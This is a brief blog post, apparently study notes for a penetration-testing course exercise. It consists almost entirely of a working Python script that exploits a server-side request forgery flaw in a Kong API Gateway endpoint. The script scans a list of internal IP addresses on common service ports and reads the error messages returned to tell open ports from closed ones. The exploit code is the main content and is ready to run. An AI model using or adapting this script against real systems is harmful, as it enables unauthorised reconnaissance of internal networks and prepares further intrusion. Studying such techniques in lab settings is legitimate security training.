Common ports to scan

R3zk0n ยท October 2, 2025

Contents

    13.4.4

    Modify the script to accept a list of IP addresses to scan as an argument.

    • This script is very hacky, but it works so meh.
    #!/usr/bin/env python3
    
    import argparse
    import requests
    
    parser = argparse.ArgumentParser()
    parser.add_argument('-t','--target', help='host/ip to target', required=True)
    parser.add_argument('--timeout', help='timeout', required=False, default=3)
    parser.add_argument('-s','--ssrf', help='ssrf target list', required=True)
    parser.add_argument('-v','--verbose', help='enable verbose mode', action="store_true", default=False)
    
    args = parser.parse_args()
    
    ports = ['22','80','443', '1433', '1521', '3306', '3389', '5000', '5432', '5900', '6379','8000','8001','8055','8080','8443','9000']
    timeout = float(args.timeout)
    
    def ssrf_scan(ip):
        for p in ports:
            try:
                # SSRF payload sent to Kong API Gateway to scan internal network
                r = requests.post(url=args.target, json={"url":"{host}:{port}".format(host=ip,port=int(p))}, timeout=timeout)
    
                if args.verbose:
                    print("{port:0} \t {msg}".format(port=int(p), msg=r.text))
    
                if "You don't have permission to access this." in r.text:
                    print("{port:0} \t OPEN - returned permission error, therefore valid resource".format(port=int(p)))
                elif "ECONNREFUSED" in r.text:
                    print("{port:0} \t CLOSED".format(port=int(p)))
                elif "Request failed with status code 404" in r.text:
                    print("{port:0} \t OPEN - returned 404".format(port=int(p)))
                elif "Parse Error: Expected HTTP/" in r.text:
                    print("{port:0} \t ???? - returned parse error, potentially open non-http".format(port=int(p)))
                elif "getaddrinfo EAI_AGAIN" in r.text:
                    print("{port:0} \t OPEN - socket hang up, likely non-http".format(port=int(p)))
                else:
                    print("{port:0} \t {msg}".format(port=int(p), msg=r.text))
            except requests.exceptions.Timeout:
                print("{port:0} \t timed out".format(port=int(p)))
    
    with open(args.ssrf, 'r') as f:
        mylist = f.read().splitlines()
        for ip in mylist:
            ip = 'http://' + str(ip)
            print('Scanning:' + str(ip))
            ssrf_scan(ip)
    

    Twitter, Facebook